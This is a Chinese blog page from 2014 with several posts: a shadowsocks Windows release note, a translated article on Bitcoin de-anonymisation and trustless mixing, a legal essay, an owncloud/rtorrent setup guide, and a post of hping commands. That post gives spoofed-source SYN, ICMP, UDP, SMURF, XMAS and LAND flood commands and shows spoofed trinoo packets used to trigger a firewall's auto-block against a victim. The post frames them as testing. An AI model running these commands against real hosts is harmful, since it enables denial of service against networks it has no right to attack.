2014年11月28日星期五

shadowsocks for windows 2.0

由于 Windows 用户的反馈很多,所以赶了一下把这个版本做出来了。相当于把 ShadowsocksX 的全部功能移植过来了。

Features:

1. 原生 Windows UI,通过托盘菜单操作主要功能
2. 一键切换系统代理,无需浏览器插件
3. 内置可编辑的 PAC 服务
4. 提供 HTTP 代理,兼容 IE
5. 多服务器配置切换,兼容 shadowsocks-gui 的配置文件
6. 只有一个不到 200KB 的 exe

下载:

https://github.com/clowwindy/shadowsocks-csharp

使用说明:

1. 启动后在状态栏右下角找到 Shadowsocks 图标
2. 可以添加多个服务器,通过托盘菜单来快速切换
3. 配置后点击菜单中的 Enable 来启用系统代理
4. 用任意编辑器修改 PAC 保存后,会自动通知浏览器更新 PAC
5. 如果浏览器装了代理插件,把它们禁用或设为“使用系统代理设置”状态
6. 如果启动提示缺依赖可能要装 2008 运行时或 .Net 2.0,Google 之就有。

由于这个 Windows 版本以及 OS X 原生版都比 GUI 好用太多了,GUI 项目将废弃掉,如果还有什么想从 GUI 移植过来的功能或者其它问题请反馈。

附:

1.如果不 Enable,代理也会运行,proxy port 上会有一个 socks5 代理,8123 上会有一个 http 代理,都是只有本机才能访问的。

2.如果遇到错误,不能工作,速度慢等等请先更新最新版,如果还是不行请反馈。反馈的时候请提供从启动开始的所有具体操作步骤,比如具体点了哪些按钮和菜单项,不然无法重现问题。

3.看反馈在 Windows 8.1 上有些权限相关的兼容性问题,不过 8.1 连同开发工具装起来比较费事,这几天暂时没时间装,欢迎用 8.1 的童鞋帮忙 debug 和发 pull request……

如果遇到问题一般退出后 kill 掉 ss_polipo.exe 再启动应该能解决。

原地址:https://www.v2ex.com/t/144934

2014年11月19日星期三

终于发现比特币的匿名性不可靠了

随着当前比特币基金代表与多家美国监管机构高层官员的会晤,比特币匿名性问题再次成为了众人瞩目的焦点。一方面为了故意对监管者掩饰比特币保护隐私的能力,另一方面由于最近斯诺登对美国国家安全局数字监控计划范围的爆料,最后由于对比特币交易图表本身的最新研究,目前的氛围是:比特币的匿名性可能远不如我们所想的那样好。在8月14日,乔治梅森大学的研究人员发布了一篇涉及到监管比特币的入门书,书中的评价大大降低了它的匿名性。在8月26日,Vice发表了一篇“描述研究人员成功地把一些比特币交易去匿名化”的文章,并且第二天一篇类似的文章登上了商业周刊。然而,有许多人把比特币匿名性不足看作是一个问题。但是在今天,两位西班牙比特币开发者想出了一个解决方案。
去匿名化的比特币
首先讨论一下问题。像一般理解的那样,比特币的隐私模式如下所述。所有比特币交易都必然是公开的,否则就有可能出现同一笔钱被同时花了多次而产生多个不同的交易,并且这种欺诈直到很晚才能发现。尽管交易是公开的,但是交易双方的身份却是保密的,而这正是比特币系统能够保护隐私的原因。任何查看区块链的人都能够看到“1Mcqmmnx发了 1.2321 比特币给1V1tAL”,但是他们看不到现实世界中究竟是谁发比特币给谁。这有可能是奶奶为了给孙子从比特币商店买新电脑而发的,有可能是丝绸之路网站上的商家为套现而发的,还有可能仅仅是MtGox公司发给自己的。
但是,在过去几年里,研究人员一直都在指出这种隐私模式并非很像看起来这么完美。在2011年,研究人员Fergal Reid和Martin Harrigan公布了一项分析报告,而该报告所讲的内容之一就是他们试图追踪一件在2011年6月发生的涉及2万5000比特币的盗窃案。对于执法机关来说,报告中没有任何有价值的结果,但是这两位研究员却成功地追踪了相对长的一段距离。之后,苏黎世的研究人员详述了去比特币匿名化的技术。再之后在今年的8月份,一组来自乔治梅森大学和加州大学圣地牙哥分校的研究人员发布了一篇报告,其标题为“一把比特币:描述匿名支付的特性”。看起来他们从几起比特币失窃案中一路成功地追踪比特币到了一家交易平台。从理论上讲,执法机关可以要求这家交易网站交出窃贼的身份信息。
从本质上来说,比特币的去匿名化依赖于一个根本性的洞察。仅仅给定一组关于人的信息和一组关于比特币交易的信息,而不给任何涉及二者关系的信息,则确定哪个地址属于哪个人确实是非常困难的。但是,当你知道哪怕一条关联信息(某个比特币交易或地址关联到现实世界中的某个具体的人或事件,从那里就有可能“追踪比特币”并且获取许多其它方面的信息。比如说,追踪者可能会发现该用户的老板、最喜欢的商家、顾客和其他人的比特币地址)或者更多关联信息时,一个人可能很快就确定该用户最喜欢的商家。除了简单地“追踪比特币”,还有两个比特币侦探可以使用的更高级的工具。
首先,存在一个概念叫做闭包。一个地址的闭包的递归定义如下; 一个地址在它自己的闭包里。 如果地址A在某个闭包里并且存在一个使用来自地址A和地址B的货币作为输入的交易,则地址B也在该闭包里。
计算一个地址的闭包时,只需在从这个地址开始一直到你停止添加新地址的过程中重复地应用闭包的定义。这个概念的威力如下:在同一个闭包里的所有地址几乎可以肯定都归同一个用户所有。如果一个交易有多个输入地址,则原因几乎总是:用户需要把一定数额的钱支付到某个地址里,但是他的任何一个地址里钱的总额都不够,于是钱包软件为了付款不得不从两个甚至更多的地址里取钱。有了这个工具,如果你能证明哪怕一个地址归属于某个具体的人(比如说,如果你是一个从他们那里接受比特币付款的商人),那么你就很可能发现他们的绝大部分钱包地址。
其次,该报告还介绍了一些探测“零钱地址”的启发式算法。在消费时,零钱地址被比特币钱包用来发送额外的钱给交易的收款地址。比如说,如果你收到了50比特币然后接着花了1比特币,剩余的49比特币就去一个由你的钱包新生成的零钱地址。这么做而不是把那49比特币发回原初的地址是为了增加隐蔽性。这个报告的许多地方就是在解决怎么才能够自动辨别零钱地址和交易的正常收款地址。通过增加了这类启发式算法,研究人员比只使用闭包走得更远,常常追踪交易长链达几百步并最终获得成功:他们成功地追踪一些被偷资金到一家比特币交易网站。
解决方案
迄今为止,解决比特币匿名性不足的主要方法是混合服务,比如说在网站blockchain.info 和丝绸之路上的服务。混合服务的工作原理如下所述。用户给混合服务一个接收混合后的比特币的地址,而混合服务给用户一个发送比特币的地址。全世界成千上万的用户把比特币发送给混合服务商,而服务商在内部洗完钱后,除了扣除少量手续费外,其余的比特币如数(不是相同的比特币)发到每个用户的接受地址上。由于在区块链上找不到用户发送地址和接受地址的关联,所有在理论上只要混合完成相关信息就会被抹掉。但是,这种匿名方式需要提前建立洗钱双方的信任。用户不仅需要信任洗钱服务商不会透露自己的两个地址之间的关联,还需要相信服务商不会偷走自己的钱。更不幸的是,如果服务商偷了钱,用户将无法证明。
但是现在,比特币开发者Amir Taaki和Pablo Martin研究出来一个新的办法负责解决比特币的匿名性问题:一个半去中心化无须为信任担忧的洗钱系统。去中心化混合服务的基本思想并不新鲜,目前所有提交的体系包括这一个的工作原理都类似。有一群都想把一定数额的比特币(比如说0.01比特币)和其他人的混合的人通过某些沟通渠道走到了一起并且完成了一笔交易,其中,每个人都出0.01比特币(输入)而接收0.01比特币(输出)。交易的顺序被打乱了,因此无法知道在区块链上一个输出究竟对应于哪个输入。但是,麻烦在于如何保证各个参与者的输入和输出信息不被其中一个参与者知道。在2013年五月的比特币大会上Oliver Coutu提出了一个办法。这个办法通过保证多方计算的安全来构造无人能够准确的知道其他人的输入或输出的交易。可是,它的数学原理很复杂(尽管不像零币的那么复杂),所有现在还没有简单易用的应用出现。
Taaki和Martin提出的方法简单多了。它的协议在在该项目的网页上有详细地描述。工作原理大致如下: N个人聚在一起并且同意混X个比特币,并且他们中的一个人发送N和X的值以及“房间号码”给一个中间服务商。 每个人用匿名网络比如Tor给服务商发送一条带有房间号码和接受地址的信息。 一旦N个人都发送进来了他们的接受地址,则服务商会给每个人发送确认信息。 每个人都匿名地给服务商发送一条包含房间号和发出地址的信息。 服务商在所有人都把X个比特币发过来后,用这些比特币构造一个交易并向每个接收地址发送X个比特币。然后,服务商把交易发给每个人来签名。 每个人都检查交易中向自己的接受地址发送的比特币的数额是否正确。检查完毕后,你们发送给服务商自己的签名。 服务商公开签过名的交易。
如上所说,这个协议没有一点特别的创意。事实上,Taaki和Martin第一次发现这个主意的地方是在一个比特币开发员Gregory Maxwell描述CoinJoin概念的论坛帖子里。然而,神奇的地方在于它的实现过程。这两个人使用Taaki 本人发明的比特币工具箱SX(花费了他们几个小时来掌握应用)快速地实现交易。如果他们自己写代码或者复制比特币客户端Armory 或Electrum上的代码的话,实现过程将耗费多得多的时间。
他们的这个实现方法胜过其它实现方法的地方在于它易于使用。Taaki和Martin专门创造了一个简单的图形用户界面。用户只需输入发送地址、服务商的网址和接收地址,系统就会自动处理一切。“我们已经交付了易用的软件,连老奶奶都会觉得简单(发出钱,收到钱),不需要区块或bitcoind,还易于安装不需要担心信任问题。”Taaki 写道。为了那些感兴趣的人,他还发布了一个从开始到结束描述整个过程的视频。只需要一分钟就能完成这个过程。“这是一个实验性的软件,”Taaki说道,“但是它现在就能用”。任何对比特币的洗钱感兴趣的可以在这里(http://sx.dyne.org/anontx/)下载源代码和读指导说明。半中心化并且没有信任忧虑的的比特币匿名性已经刚刚民主化了。
Taaki和Martin的洗钱办法被批评为“中心化”,但事实上它的中心化程度是微不足道的。中间商不知道哪个发送地址对应着哪个接收地址(因为人们在不同阶段的不同时间发送他们的信息),也没有机会偷比特币。如果中间商用自己的接收地址替换了别人的接受地址,没有收到比特币的人发现后会拒绝签收交易,这将导致协议失效。唯一失败的可能性只在于没有发生的交易。此外,任何人都可以成为交易商而本质上却不需要任何起步费。实际上,完全去中心化的体系可以让N个人中的一个人在百忙之中充当交易商。
这种机制也许不经意间实现了另一个目标:如果得到广泛的使用,它有很大的可能使得“闭包”概念不能发挥作用。闭包依赖的前提假设是一个交易的所有发送地址都是有一个人签收的。然而这里洗钱交易的不同发送地址是由不同的人签收的。当然,目前使用的协议可以被轻松地对付,因为闭包算法可以故意避开各个发送地址的发送金额相等的交易。然而,匿名者们可以反击。从理论上说,一个人在同一场洗钱活动中可以参加多次,也就是说发出和接收的面额不同(比如说,通过一个地址发出0.03比特币,但却通过三个不同接收地址个收取0.01个比特币)。从另一方面看,一般的钱包可以故意使它们的交易看起来像是匿名交易。比如,一个钱包提供商可以使他的钱包总是提供0.01比特币的零钱,因而每笔交易都自然而然地看起来像是洗钱。尽管将来会有一些方法识破很多这类事情,但是这仍然使闭包的地位从发现一个人秘密金库的必杀技降为普通的试探性方法。
监管者将对此做何感想?如果洗钱活动变得很普遍(比如说,通过整合进现有的比特币钱包)必然会使通过监管交易跟踪比特币变得更加困难。但是,对于那些关注大公司、独裁者和拥有几十亿美元的毒品集团人来说,这个系统有一个可取之处:你想洗的钱愈多,洗钱的难度就愈大。“当(小偷)为了隐藏货币来源而试图使用洗钱服务时,”乔治梅森报告写道,“我们再次强调这些服务目前不具备洗掉几千比特币的能力。”如果一个亿万富翁想在blockchain.info网站上把他的所有钱都洗掉,那么待洗比特币中将有99%都是他自己的,这意味着从本质上而言,洗钱活动对亿万富翁没用。进一步来说,当交易量足够大时,交易流向将自动地变得更加难以识别。可能会有几百万人转移大约0.01比特币,但是仅有少数人才有10万比特币。这些比特币去匿名化的报告看上去目前研究人员已经在发现洗钱者隐藏比特币地址方面相当地成功。每个案例中地故事都是类似的:金钱越多,隐私越少。为了对别人隐瞒你的医疗采购或对政府掩盖你抽大麻的习惯而洗50美元,可以呀。但是让13亿美元突然从地球表面消失?实际上比特币也许让这变得难多了。
(译文完)
原文标题:Trustless Bitcoin Anonymity Here at Last
原文作者:Vitalik Buterin
原文发表时间:2013年8月28日
原文网址:http://bitcoinmagazine.com/6630/trustless-bitcoin-anonymity-here-at-last/
翻译者:自然而然

2014年11月18日星期二

斯伟江:闭门开会构成寻衅滋事吗?

【编者按:今天用法治新观察(微信号lawreview)的备用小号新观察家推送一篇文章,你懂的。。】

都知道公权力的无底线,譬如微博500转入刑,没想到,还有击破底线的时候。
都知道就闭门开了一个会议,讨论一个公共事件,刑法第293条的寻衅滋事罪,原来是流氓罪的马甲,正如现在刑法中煽动颠覆罪就是反革命罪的马甲一样,凡是用得顺手的工具,换个样子都留着,正如对付老百姓的投机倒把罪,现在以非法经营罪的马甲活着。
社会是进步了,但杀猪刀得留着。除非你移民,否则,不管你多少富余,如重庆的富豪们,广东的蔡达标们,四川的刘汉们,沾点边的,随时可以杀猪,在官面前不要以为自己是谁!
但人,终究是人,要站着说话,站着做人。我的“小弟”浦志强就是一个。这个“小弟”玩笑称呼,我是拿一个相机换来的,那天看到了他的会议照片时,我在下面留言说,今天,他是大哥了。没想到,大哥没几天,他就进去了。
他多少和我一起做了不少刑事案子,知道,闭门开会,只要不是南湖的游船会议,或者搞秋收起义,都不是构成犯罪的。当他家被搜查时,搜查证上没写罪名,我以为是煽动颠覆,因为那是文字狱的祖宗。谁知道居然是寻衅滋事。
这个罪法律规定有四种形式,1,随意殴打他人,情节恶劣的。2,追逐、拦截辱骂、恐吓他人,情节严重恶劣的。3.强拿硬要或者任意毁损、占用公私财物,情节严重的;4,在公共场所起哄闹事,造成公共场所秩序严重混乱的。处刑5年以下。多次这样的行为,严重破坏社会秩序,5年到10年。这个“流氓罪”,和闭门开会,相差千里。
去年新政以来,最高法、最高检出了一个司法解释,即网上熟知的500转入罪。对寻衅滋事延伸到了网上,多了,1,利用信息网络辱骂、恐吓他人,情节恶劣,破坏社会秩序的,构成寻衅滋事罪。2,编造虚假信息或者明知是虚假信息,在信息网络上散布,或者组织、指使他人人员在信息网络上散布,起哄闹事,造成公共秩序严重混乱的。
这个司法解释,如要发布啥,也指虚假信息,闭门会议照片属实,明显不是虚假信息。因此,寻衅滋事罪这个口袋虽然大,但也套不进去这样的闭门会议,除非用的不是汉语词典。法网虽然编织得非常密了,而且也可以伸缩的,但,毕竟无法紧密到闭门开一个研讨会也会变犯罪的地步。
结论已经很清楚了,真正寻衅滋事的,是权力机关。想起,戊戌六君子中,刘光第原本是刑部主事,懂法律,他说,不审讯就杀人,是违反大清律的。没想到监斩的满族死硬派刚毅,根本不在乎大清律,更何况慈禧,13年后,辛亥革命爆发。
就算法律不是对所有人都公平正义的,是统治阶级的统治工具,也得知道,这是一个做人、执政的基本原则,说话算数。已经是按照你的新意思,解释了“流氓罪”,还不执行。那么,如同一个人不讲信用,没有原则,实际上已经乾坤颠倒了!
来源:有道云笔记

2014年11月12日星期三

owncloud+rtorrent+screen打造个人离线下载

环境

  • centos6 vps 1g memory/100g ssd
  • httpd+mysql

安装owncloud。

$yum -y install owncloud
发现默认owncloud把自己的本体安装到了/usr/share/owncloud目录下。 按上面链接的方法搬运到现在使用的/var/www目录下,并修改/etc/httpd/conf.d/owncloud.conf。
alias /owncloud /var/www/owncloud

<Location /owncloud>
    AllowOverride All
#   SSLRequireSSL # https
</Location>
接下来用mysql建表。
# mysql -u root -p
> create database owncloud;
>  grant all privileges on owncloud.* to 'owncloud'@'localhost' identified by '密码' with grant option;
顺带一提用sqlite也是可以的。这样的话就不需要授权啊密码之类麻烦的事情了。
接下来修改owncloud/config/config.php。
特别注意默认的path还是/usr/share/,需要将其改称 /var/www。
改好之后service httpd restart一下httpd服务器进入主页面开始一键安装。
安装好之后入下图效果。

安装rtorrent

rtorrent是终端下面开源的p2p下载工具。我们需要用这个和owncloud连携。
%wget http://libtorrent.rakshasa.no/downloads/rtorrent-0.9.4.tar.gz

%tar xvf rtorrent-0.94-tar.gz

%cd rtorrent-0.94

%./configure

%make

%make install
安装完之后进行rtorrent的设定。
%vim .rtorrent.rc
enable_trackers = no
session = ~/torrent/.rtorrent
directory = ~/torrent/tmp
max_uploads = 2
upload_rate = 30
download_rate = 1000
schedule = watch_added,5,5,load_start=/var/lib/owncloud/data/owncloud账号/files/torrent/*.torrent
schedule = untied_directory,5,5,stop_untied=
on_finished = move_complete,"d.set_directory=/var/lib/owncloud/data/owncloud账号/files/torrent/;\
execute=mv,-u,$d.get_base_path=,/var/lib/owncloud/data/owncloud账号/files/torrent/"
简单说明一下这个配置,其实很明显,允许最大2线程下载,上传速度限定死30,下载速度限定死1000kbps。希望vps的运营商别来找我麻烦。
下面的第一行schedule绑定种子上传目录,当发现目录里面有种子文件的话会开始下载。
第二行schedule指明当下载完成之后就把暂存在directory的文件转移到指定的目录里边去。
以上步骤之后基本ok。登陆自己的owncloud,建立一个叫做torrent的文件夹吧。然后随便传个毛片种子上去。
这时候打开rtorrent,发现rtorrent已经开始下载了哈哈。
不久就下载完成了。

这个时候刷新一下自己owncloud的torrent目录,发现下完的毛片已经静静地躺在里面。速度http满速到本地吧。

screen

当然目前为止还有一个问题没解决,那就是rtorrent在断开ssh之后会自己停止。 我们需要的是只需通过网页往torrent文件夹里上传种子就可以让其自动下载资源的效果,所以我们还需要让在ssh断开之后还保持执行。
这个时候第一个想到nohup命令。
%nohup rtorrent &
但是nohup需要退出的时候得自己通过lsof -i:portnumber命令找到对应端口进程然后调用kill -9 进程号手动杀死。搞得不好还杀不干劲拖泥带水。
这个时候就该用到screen这个工具了。
%yum install screen

%screen
安装之后执行screen命令会跳到一个新打开的终端。
在这个终端执行rtorrent
这个时候rtorrent开始工作,然后我们使用^+a,^+d可以断开这个终端。当然这个终端还是存在的。我们可以随时用screen -r命令找回暂时断开的终端。

2014年11月11日星期二

使用 Hping 模拟DDOS攻击 伪造数据包

使用 Hping 模擬 DDos 攻擊 (这个可以在snort上试一试)
安裝hping (建議將hping2.0.0-rc1.tar.gz檔案放在 /usr/local下)
# tar zxvf hping2.0.0-rc1.tar.gz
# cd hping2
# ./configure
# make
# make install
要看說明,可以輸入 hping2 --help
下面是一些常用的方法
hping www.abc.net.tw -1 -i u100000 -a 100.100.100.100
每秒送10個(-i u10000)ICMP(-1)封包到www.abc.net.tw 偽造來源IP(-a)為100.100.100.100
註:-1為數字非英文
hping www.abc.net.tw –i u1000000 –a 100.100.100.100 –s 22222 –p 44444
每秒送1個(-i u1000000)TCP(default)封包到www.abc.net.tw的port 44444,偽造來源IP(-a)100.100.100.100使用的port為22222
測試1: SYN Flooding(每秒10個封包)
hping 目標主機IP –i u100000 –S –a 偽造來源IP
測試2 :偽造IP的ICMP封包(每秒10個封包)
hping 目標主機IP –i u100000 –1 –a 偽造來源IP
註:-1為數字非英文
測試3:不正常TCP Flag組合封包(每秒10個封包)
(a)SYN+FIN
hping 目標主機IP –i u100000 –S –F –a 偽造來源IP
(b)X’mas
hping 目標主機IP –i u100000 –F –S –R –P –A –U –a 偽造來源IP
測試4:偽造IP的UDP封包
hping目標主機IP –i u100000 –2 –a 偽造來源IP
測試5:偽造IP內含CodeRed封包
hping 目標主機IP –i u100000 –d [封包datasize] –E [filename] –a [偽造來源IP]
Hping2 构造数据包
SMURF攻击
hping2 -1 -a 192.168.1.5 192.168.1.255
XMAS TREE攻击
hping2 -SFRP 192.168.1.5
LAND攻击
hping2 -k -S -s 25 -p 25 -a 192.168.1.5 192.168.1.5
Extra:
用tcpdump记录流量
cron任务: 5 3 * * * /usr/sbin/tcpdump -c 25000 -w dumpfile -n
            (捕获25000个包,将原始报文转储到dumpfile中)
查看记录: tcpdump -r dumpfile -X -vv


我们可以来个实际的例子:
step 1:目标主机安装了blackice,它的 ip address是 ip.add.of.victim
step 2:发起攻击的一太linux 机器,上面安装了hping
执行如下命令
---
[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add. of.dnsserver
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a
www.google.com
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
[root@ yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a
www.sina.com
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
---
上面的三个命令干了同一件事情,以伪造的ip发送假的trinoo攻击数据包.
结果:在目标主机上所有伪造的ip地址网络连接被block了,也就是对目标主机ip.add.of.victim而言,它的dns服务器,google和sina都无法访问了。
我很怀疑目前的个人防火墙只要存在auto-block功能,就存在这一问题。

2014年11月10日星期一

定位GFW的python脚本

github上有人释出了一个python脚本mongol.py,可以定位中国防火长城的物理位置和数量。
mongol.py以密歇根大学计算机系的Xueyang XuZ. Morley Mao在2011年发表的一篇论文为理论依据,发送“tibetalk“这个关键字来刺激防火墙,然后跟踪TCP报头的路由,找出RST数据包返回前最后一跳的位置,从而定位防火长城的物理位置。

这是目前得到的防火长城分布图。


How To Locate GFW Devices' IP Address,如何找到GFW设备的IP地址
这是国外的一个脚本,主要是通过scapy发送特定包,通过ttl来判断rst包的发送来源。相信这一方法 @xsser 会很熟悉。
具体原理可以参考这个PDF,或者去搜索下80sec某篇被河蟹的paper。
这是目前得到的gfw ip分布图:


实际上这个方式查出来的也不过是阻断点的位置。具体后面如何进行的,谁知道,但是起码阻断是通过3层做的,所以能够定位IP的。